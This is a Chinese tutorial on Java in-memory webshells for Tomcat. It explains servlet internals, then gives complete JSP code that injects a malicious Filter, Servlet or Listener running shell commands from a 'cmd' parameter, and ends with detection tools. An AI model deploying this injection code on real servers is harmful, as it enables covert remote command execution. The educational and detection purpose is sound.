内存马简介

什么是内存马

随着每年攻防对抗强度的增加,普通的webshell在各大厂商的安全设备下,根本难以存活,想要落地一个实体webshell的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。
内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。
2020101320190720

如何实现内存马

实现目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果
实现方法:以java为例,客户端发起的web请求会依次经过Listener—>Filter—>Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。
Perbedaan antara Filter dan Pendengar dalam Servlet (Java EE)

内存马类型

根据注入的方式,大概分类以下两类:

  • servlet-api型
  • 通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如springcontroller内存马,tomcatvalve内存马
  • 字节码增强型
  • 通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

背景知识

Java web三大件

详情的可以自己去研究,搜索关键词maven tomcat servlet 开发,这里大概描述一下

Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

请求的处理过程

浏览器访问Servlet过程

  1. 浏览器向 Web 服务器发送了一个 HTTP 请求,Servlet容器根据收到的请求,会先创建一个 HttpServletRequestHttpServletResponse 对象
  1. 调用相应的 Servlet 程序,在 Servlet 程序运行时,它首先会从 HttpServletRequest 对象中读取数据信息,然后通过 service() 方法处理请求消息
  1. service()方法根据请求类型,分别调用doGet或者doPost方法,其中doXXX方法是我们自己写的逻辑Controller
  1. 将处理后的响应数据写入到 HttpServletResponse 对象中。
  1. Web 服务器会从 HttpServletResponse 对象中读取到响应数据,并发送给浏览器
  1. 容器关闭时候,会调用destory方法

需要注意的是,在Web服务器运行阶段,每个Servlet都只会创建一个实例对象,针对每次HTTP请求,Web服务器都会调用所请求Servlet实例的 service(HttpServletRequest request,HttpServletResponse response)方法,并重新创建一个 request 对象和一个 response 对象。

servlet生命周期

Servlet生命周期

  1. 服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)
  2. servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行
  3. 服务器关闭时,销毁这个servlet对象,执行destroy()方法。
  4. 由JVM进行垃圾回收。
    代码示例
    image-20211123101401780
    image-20211123101431152

    Filter

    filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

简单来说就是在Servlet处理请求前和Servlet响应请求后实现一些特殊的功能

image-20211123101042171

基本工作原理

1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

filter的生命周期
  1. 当服务器启动,就会创建Filter对象(随着Tomcat的启动而创建),并调用init()方法,只调用一次
  2. 当访问资源时,路径与filter拦截路径匹配,会执行Filter中的doFilter方法,这个方法是真正拦截操作的方法。
  3. 当服务器关闭时,会调用Filter中的destroy方法来进行销毁操作。
    filter链
    当多个filter同时存在的时候,组成了filter链。
    web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
    java web filter链
    代码示例
    image-20211123102549485
    image-20211123102558677

    Listener

    程序开发中,经常需要对某些事件进行监听,比如监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
    事件:用户的一个操作,如点击按钮
    事件源:产生事件的对象。
    监听器:负责监听发生在事件源上的事件。
    注册监听:将事件,事件源,监听器绑定在一起。当事件源上发生某个事件后,执行监听器代码。
    代码示例
    ``` import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpSessionAttributeListener; import javax.servlet.http.HttpSessionEvent; import javax.servlet.http.HttpSessionListener; import javax.servlet.http.HttpSessionBindingEvent;

@WebListener() public class HelloListener implements ServletContextListener, HttpSessionListener, HttpSessionAttributeListener {

  1. // Public constructor is required by servlet spec
  2. public HelloListener() {
  3. }
  4. // -------------------------------------------------------
  5. // ServletContextListener implementation
  6. // -------------------------------------------------------
  7. public void contextInitialized(ServletContextEvent sce) { // 初始化资源,例如打开数据库连接池等:
  8. /* This method is called when the servlet context is
  9. initialized(when the Web application is deployed).
  10. You can initialize servlet context related data here.
  11. */
  12. }
  13. public void contextDestroyed(ServletContextEvent sce) { // 清理WebApp,例如关闭数据库连接池等
  14. /* This method is invoked when the Servlet Context
  15. (the Web application) is undeployed or
  16. Application Server shuts down.
  17. */
  18. }
  19. // -------------------------------------------------------
  20. // HttpSessionListener implementation
  21. // -------------------------------------------------------
  22. public void sessionCreated(HttpSessionEvent se) {
  23. /* Session is created. */
  24. }
  25. public void sessionDestroyed(HttpSessionEvent se) {
  26. /* Session is destroyed. */
  27. }
  28. // -------------------------------------------------------
  29. // HttpSessionAttributeListener implementation
  30. // -------------------------------------------------------
  31. public void attributeAdded(HttpSessionBindingEvent sbe) {
  32. /* This method is called when an attribute
  33. is added to a session.
  34. */
  35. }
  36. public void attributeRemoved(HttpSessionBindingEvent sbe) {
  37. /* This method is called when an attribute
  38. is removed from a session.
  39. */
  40. }
  41. public void attributeReplaced(HttpSessionBindingEvent sbe) {
  42. /* This method is invoked when an attribute
  43. is replaced in a session.
  44. */
  45. }

}

  1. ### Tomcat
  2. > 简单理解,tomcathttp服务器+servlet容器。
  3. Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成`HttpServletRequest`类型的request对象,传递给servlet;同时会将响应的信息封装为`HttpServletResponse`类型的response对象,然后将response交给tomcattomcat就会将其变成响应文本的格式发送给浏览器。<br />![servlet工作流程_yuyibo95的博客-CSDN博客_servlet工作流程](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990212894-b1dcf525-2663-4dde-b9ec-eaa22a31d7b2.png)
  4. #### Tomcat架构设计
  5. Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是**连接器**和**容器**,**连接器用来处理外部网络连接,容器用来处理内部 Servlet**<br />![tomcat](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990213694-0c6697b0-5bff-4893-a7c6-d86fe319e8d7.png)<br />一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 `ServletRequest` 和 `ServletResponse` 对象进行交流。<br />在`Container`容器中包含4个子容器,且存在包含关系,分别是:
  6. |
  7. 容器
  8. | 实现类
  9. | 含义
  10. |
  11. | --- | --- | --- |
  12. |
  13. Engine
  14. | org.apache.catalina.core.StandardEngine
  15. | 最顶层容器组件,可以包含多个Host
  16. |
  17. |
  18. Host
  19. | org.apache.catalina.core.StandardHost
  20. | 一个Host代表一个虚拟主机,如a.comb.com,其下可以有多个Context
  21. |
  22. |
  23. Context
  24. | org.apache.catalina.core.StandardContext
  25. | 一个Context代表一个Web应用,如/example、/ROOT、/manager,其下可有多个Wrapper
  26. |
  27. |
  28. Wrapper
  29. | org.apache.catalina.core.StandardWrapper
  30. | 一个Wrapper通常代表一个Servlet,是对Servlet的封装
  31. |
  32. 一个engine可以对一个多个`host`,也就是虚拟主机,一个host可以对应多个`context`,也就是web应用,一个context对应多个`wrapper`,也就是`servlet`。这个映射关系,通过`mapper`组件来关联,`mapper`组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下:<br />![tomcat](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990214542-da80576a-2f19-4f0b-a6e8-b185333108b6.png)
  33. ### 其他知识
  34. #### 反射
  35. ![Java反射技术- Java小斌- 博客园](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990215369-54c0aa9a-e74c-4288-8f58-211d9564902d.png)<br />反射提供的功能,能在运行时(动态)的
  36. 1.
  37. 获取一个类的所有成员变量和方法
  38. 1.
  39. 创建一个类的对象
  40. <br />a. 获取对象成员变量&赋值
  41. <br />b. 调用对象的方法
  42. <br />c. 判断对象所属的类
  43. 在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servletwrapper)添加到当前的contextchildren中。<br />在使用Java反射机制时,主要步骤包括:
  44. 1. 获取目标类型的Class对象
  45. 1. 通过Class对象分别获取`Constructor`类对象、`Method`类对象和`Field`类对象
  46. 1. 通过Constructor类对象、Method类对象和Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作
  47. #### java instrumentation
  48. - [Java Intrumentation 和相关应用](https://jifuwei.github.io/2019/06/04/instrument/)
  49. 动态 Instrumentation Java SE 5 的新特性,它在 `java.lang.instrument` 包中,它把 Java instrument 功能从本地代码中释放出来,使其可以用 Java 代码的方式解决问题。使用 `Instrumentation`,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至可以替换和修改某些类的定义。有了这样的功能,开发者就可以实现更为灵活的虚拟机监控和 Java的类操作了,这样的特性实际上提供了一种虚拟机级别支持的 AOP方式,使得开发者无需对原有应用做任何修改,就可以实现类的动态修改和增强<br />`java.lang.instrument` 包被赋予了更强大的功能:启动后的 监测、本地代码(native code)监测,以及动态改变 `classpath` 等等。这些改变,意味着 Java 具有了更强的动态控制与解释能力,它使得 Java 语言变得更加灵活多变。<br />`Java agent`是一种特殊的Java程序(Jar文件),它是`Instrumentation`的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过`Instrumentation API`与虚拟机交互。<br />
  50. 在注入内存马的过程中,我们可以利用java instrumentation机制,**动态的修改已加载到内存中的类里的方法,进而注入恶意的代码**。<br />![Java Intrumentation 和相关应用](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990216394-503459d5-8beb-479f-99af-7986f766f45c.png)
  51. ## servlet-api内存马编写
  52. > 所有内存马编写时,都可以自己写一个对应的东西,比如filterservlet,然后去跟一下Tomcat本身是如何去添加这些东西的,最后模拟一下这个过程动态添加就行了
  53. ### Filter内存马
  54. Filter 内存马是通过动态注册以一个恶意Filter,由于是动态注册的,所以这个filter没有文件实体,存在内存中,当tomcat重启就消失了<br />一般我们把这个Filter放在所有的filter最前面优先执行,也就是filter链的第一个,这样我们的请求就不会受到其他filter的干扰<br />需要动态注册filter就需要添加filter相关的库、函数等
  55. #### ServletContext
  56. 需要动态注册filter就需要几个添加filter相关的函数,`ServletContext`恰好可以满足这个条件<br />`javax.servlet.servletContext`中存在`addFilter``addServlet``addListener`方法,即添加FilterServletListener<br />获取ServletContext的方法:`this.getServletContext();``this.getServletConfig().getServletContext();`
  57. #### ApplicationContext
  58. Tomcat中,`org.apache.catalina.core.ApplicationContext`中包含一个`ServletContext`接口的实现,所以需要引入`org.apache.catalina.core.ApplicationContext`这个库,**用它获取上下文`StandardContext`**
  59. #### Filter相关变量
  60. |
  61. 名称
  62. | 说明
  63. |
  64. | --- | --- |
  65. |
  66. `filterMaps` 变量
  67. | 存放`FilterMap`的数组,在 `FilterMap` 中主要存放了 `FilterName` 对应的`URLPattern`
  68. |
  69. |
  70. `filterDefs` 变量
  71. | 存放`FilterDef`的数组 `FilterDef` 中存储着我们过滤器名,过滤器实例等基本信息
  72. |
  73. |
  74. `filterConfigs` 变量
  75. | 存放`filterConfig`的数组,在 `FilterConfig` 中主要存放 `FilterDef` `Filter`对象等信息
  76. |
  77. |
  78. `FilterChain` 变量
  79. | 过滤器链,该对象上的 `doFilter` 方法能依次调用链上的 `Filter`
  80. |
  81. |
  82. `ApplicationFilterChain`
  83. | 调用过滤器链
  84. |
  85. |
  86. `ApplicationFilterConfig`
  87. | 获取过滤器
  88. |
  89. |
  90. `ApplicationFilterFactory`
  91. | 组装过滤器链
  92. |
  93. |
  94. **`StandardContext`**
  95. | Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper**
  96. |
  97. |
  98. `StandardWrapperValve`
  99. | 一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
  100. |
  101. `org.apache.catalina.core.ApplicationFilterConfig` tomcat不同版本需要通过不同的库引入`FilterMap``FilterDef`

// tomcat 7 import org.apache.catalina.deploy.FilterMap; import org.apache.catalina.deploy.FilterDef;

// tomcat 8/9 import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.tomcat.util.descriptor.web.FilterDef;

  1. #### 动态注入内存
  2. > 需要调试的话,直接给想要调试的代码写到servlet里面就可以调试了,避免去尝试调试JSP
  3. 流程:
  4. 1.
  5. 创建一个恶意Filter
  6. 1.
  7. 利用FilterDefFilter进行一个封装
  8. 1.
  9. FilterDef添加到FilterDefsFilterConfig
  10. 1.
  11. 创建FilterMap ,将我们的Filterurlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的Filter最先触发)
  12. Tomcat中的对应的`ServletContext`实现是`ApplicationContext`,在Web应用中获取的`ServletContext`实际上是`ApplicationContextFacade`对象,对`ApplicationContext`进行了封装,而`ApplicationContext`实例中又包含了`StandardContext`实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。<br />![image-20211124091110131](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990217940-2ace88b2-f8ee-43b1-b8ed-91a94b84607f.png)<br />当我们能直接获取 request 的时候,可以直接将 `ServletContext` 转为 `StandardContext` 从而获取 `context`。

<%@ page contentType=”text/html;charset=UTF-8” language=”java” %> <%@ page import = “org.apache.catalina.Context” %> <%@ page import = “org.apache.catalina.core.ApplicationContext” %> <%@ page import = “org.apache.catalina.core.ApplicationFilterConfig” %> <%@ page import = “org.apache.catalina.core.StandardContext” %> <%@ page import = “javax.servlet.*” %> <%@ page import = “java.io.IOException” %> <%@ page import = “java.lang.reflect.Constructor” %> <%@ page import = “java.lang.reflect.Field” %> <%@ page import = “java.util.Map” %> <%@ page import=”org.apache.tomcat.util.descriptor.web.FilterDef” %> <%@ page import=”org.apache.tomcat.util.descriptor.web.FilterMap” %>

<% // 创建一个恶意的Filter,需要实现Filter接口 class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter(“cmd”); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + ‘\n’); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }

  1. @Override
  2. public void destroy() {
  3. }
  4. }

%>

<% //从org.apache.catalina.core.ApplicationContext反射获取context方法 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField(“context”); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField(“context”); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField(“filterConfigs”); Configs.setAccessible(true); // filterConfigs 中存放的所有拦截器 Map filterConfigs = (Map) Configs.get(standardContext);

  1. String name = "filterDemo";
  2. //判断是否存在filterDemo1这个filter,如果没有则准备创建
  3. if (filterConfigs.get(name) == null){
  4. //定义一些基础属性、类名、filter名等
  5. filterDemo filter = new filterDemo();
  6. FilterDef filterDef = new FilterDef();
  7. filterDef.setFilterName(name);
  8. filterDef.setFilterClass(filter.getClass().getName());
  9. filterDef.setFilter(filter);
  10. //添加filterDef
  11. standardContext.addFilterDef(filterDef);
  12. //创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
  13. FilterMap filterMap = new FilterMap();
  14. // filterMap.addURLPattern("/*");
  15. // 这里可根据实际情况添加拦截器拦截的路由
  16. filterMap.addURLPattern("/xyz");
  17. filterMap.setFilterName(name);
  18. filterMap.setDispatcher(DispatcherType.REQUEST.name());
  19. //添加我们的filterMap到所有filter最前面
  20. standardContext.addFilterMapBefore(filterMap);
  21. //反射创建FilterConfig,传入standardContext与filterDef
  22. Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  23. constructor.setAccessible(true);
  24. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
  25. //将filter名和配置好的filterConifg传入
  26. filterConfigs.put(name,filterConfig);
  27. out.write("Inject success!");
  28. }
  29. else{
  30. out.write("Injected!");
  31. }

%>

  1. ![image-20211123190816208](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990221614-7a4727db-8431-4f34-bb3d-40cfc00ff386.png)
  2. ### Servlet内存马
  3. #### 启动
  4. 常规情况下在启动时,会自动调用`StandardContext.addServletMappingDecoded()`方法给我们定义的路由和名字加进去,所有后面动态注入也是利用的这个方法,获取到`StandardContext`然后添加即可,前提是要给这个`servlet`先添加到`children`中<br />![image-20211124100859292](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990222624-6c90b05e-7565-4779-995a-423ef371a247.png)
  5. - `servletMappings`和前提判断条件
  6. ![image-20211124102229031](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990226490-c9517177-bcdf-49b8-83b3-97ca7a219b56.png)
  7. - `findChild()`
  8. ![image-20211124101633003](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990229983-59706396-ddae-4244-9392-4a13090d2a0e.png)
  9. - `addChild()`
  10. ![image-20211124102754954](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990233826-59120e20-ea42-45f8-ae24-7bb1ffc50ff5.png)<br />会给我们创建的`servlet/wrapper`添加到`children`中<br />![image-20211124102113072](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990238523-9b1e939b-2f1f-4b11-bd49-b8f06440cc04.png)
  11. #### 动态注入内存
  12. 下面的代码先是创建了一个恶意的`servlet`,然后获取当前的`StandardContext`,然后将恶意`servlet`封装成`wrapper`添加到`StandardContext``children`当中,最后添加`ServletMapping`将访问的`URL``wrapper`进行绑定。

<%@ page import=”java.io.IOException” %> <%@ page import=”java.io.InputStream” %> <%@ page import=”java.util.Scanner” %> <%@ page import=”org.apache.catalina.core.StandardContext” %> <%@ page import=”java.io.PrintWriter” %>

<% // 创建恶意Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {

  1. }
  2. @Override
  3. public ServletConfig getServletConfig() {
  4. return null;
  5. }
  6. @Override
  7. public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
  8. String cmd = servletRequest.getParameter("cmd");
  9. boolean isLinux = true;
  10. String osTyp = System.getProperty("os.name");
  11. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  12. isLinux = false;
  13. }
  14. String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  15. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  16. Scanner s = new Scanner(in).useDelimiter("\\a");
  17. String output = s.hasNext() ? s.next() : "";
  18. PrintWriter out = servletResponse.getWriter();
  19. out.write(output);
  20. out.flush();
  21. out.close();
  22. }
  23. @Override
  24. public String getServletInfo() {
  25. return null;
  26. }
  27. @Override
  28. public void destroy() {
  29. }
  30. };

%> <% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

  1. // 用Wrapper对其进行封装
  2. org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
  3. newWrapper.setName("testsaaa");
  4. newWrapper.setLoadOnStartup(1);
  5. newWrapper.setServlet(servlet);
  6. newWrapper.setServletClass(servlet.getClass().getName());
  7. // 添加封装后的恶意Wrapper到StandardContext的children当中
  8. standardCtx.addChild(newWrapper);
  9. // 添加ServletMapping将访问的URL和Servlet进行绑定
  10. // 低版本此处可能为 addServletMapping
  11. standardCtx.addServletMappingDecoded("/shell","testsaaa");

%>

  1. 执行上述代码后,访问当前应用的`/shell`路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcattomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。<br />比如早期rebeyond师傅开发的memshell,就是通过修改`org.apache.catalina.core.ApplicationFilterChain`类的`internalDoFilter`方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook `javax.servlet.http.HttpServlet#service` 函数,在weblogic选择hook `weblogic.servlet.internal.ServletStubImpl#execute` 函数。<br />![image-20211123140640054](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990241484-3cb7c949-2ee3-40c8-9c59-1091f62008dc.png)
  2. ### Listener内存马
  3. Listener的监听主要分为三类:
  4. - ServletContext监听:用于对Servlet整个上下文进行监听(创建、销毁)
  5. - Session监听:对Session的整体状态的监听
  6. - Request监听:用于对Request请求进行监听(创建、销毁)
  7. 对于这三类,熟悉javaTomcat的同学应该知道,对于request的请求和篡改是常见的利用方式,另两者涉及到服务器的启动跟停止,或者是Session的建立跟销毁,就不太适合
  8. #### ServletRequestListener接口
  9. 该接口实现的方法有`requestDestroyed``requestInitialized`,分别是在监听request请求结束,以及request请求开始,我们着重看请求开始的部分<br />![image-20211123192336004](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990242185-4ac8b81a-20a4-4833-8d39-cfdf99a6846a.png)<br />在`requestInitialized`这个函数中,我们从`servletRequestEvent`参数中取cmd参数,在当前上下文只要在任意路由下监听到了cmd参数存在值,那么就执行命令,具体操作如下

public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter(“cmd”); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } }

  1. > 这里是没有回显的,盲的
  2. #### 动态注入内存

<%@ page import=”java.io.IOException” %> <%@ page import=”org.apache.catalina.core.StandardContext” %>

<% ServletRequestListener listener = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd = sre.getServletRequest().getParameter(“cmd”); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } } }; %>

<% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

  1. standardCtx.addApplicationEventListener(listener);

%>

  1. ![image-20211123192949328](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990246410-54b881b0-1306-4336-9a4e-33ed4629cbcf.png)
  2. ## servlet-api总结
  3. 以上三种根据Servlet的特性,动态注入,jsp文件只要落地,即可动态加载到内存中
  4. |
  5. 姿势
  6. | 优点
  7. | 缺点
  8. |
  9. | --- | --- | --- |
  10. |
  11. Filter
  12. | 通过添加全局拦截器对参数进行拦截,来进行恶意代码执行通过添加filtermap,可以随便设置路由,所有请求都会过该拦截器
  13. | 引入`filterMaps``filterDef`,要根据tomcat版本来判断代码量较高
  14. |
  15. |
  16. Servlet
  17. | 简单方便,了解Servlet生命周期即可更直观了解如何动态添加ServletMapping
  18. | 无法使所有参数都经过恶意代码,只能在我们自己设定的url中才能触发
  19. |
  20. |
  21. Listener
  22. | 简单方便,通过添加监听器对request进行监控在任意url中都能设置我们监听的参数
  23. | 只要监听的参数含有就会进入监听代码中如果在该jsp页面下访问,则会重放请求
  24. |
  25. ## 内存马查杀
  26. 查杀感觉很多都是依赖于`Java agent`去查杀的。
  27. ### arthas
  28. `Arthas` Alibaba开源的Java诊断工具
  29. -
  30. 地址:[https://github.com/alibaba/arthas](https://github.com/alibaba/arthas)
  31. -
  32. [使用文档](20118d2abc0f07b89e1e07c669a5622e) 很详细,可以慢慢研究
  33. 下载`arthas-boot.jar`,然后用`java -jar`的方式启动:

curl -O https://arthas.aliyun.com/arthas-boot.jar java -jar arthas-boot.jar

  1. ![image-20211208134514442](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990250072-b2f4a8a5-17d8-48ca-93de-12bf2482aefa.png)
  2. - 通过`mbean`命令,可以便捷的查看或监控 **Mbean** 的属性信息(可以查看异常`Filter`/`Servlet`节点)
  3. ![image-20211208134927536](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990253034-03d39621-3e85-4e68-979c-6ab1604ea221.png)
  4. - 使用`jad`反编译class源码(感觉是依赖于`cfr-decompiler`这个小工具)
  5. ![image-20211208135455680](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990257556-ed4acaf6-77f8-44d3-947c-9d1fd423ca36.png)
  6. ### copagent
  7. Java内存马提取工具,arthas的改进版,可以确定风险等级,并且将内存中的信息全部输出<br />地址:[https://github.com/LandGrey/copagent](https://github.com/LandGrey/copagent)<br />下载`cop.jar`,然后启动

wget https://github.com/LandGrey/copagent/raw/release/cop.jar java -jar cop.jar

``` image-20211208140508288
查看输出结果
image-20211208140724649
找到相关的class文件并反编译
image-20211208141523495

java-memshell-scanner

通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。
地址:https://github.com/c0ny1/java-memshell-scanner
image-20211208141907949
dump下来反编译
image-20211208142040825

参考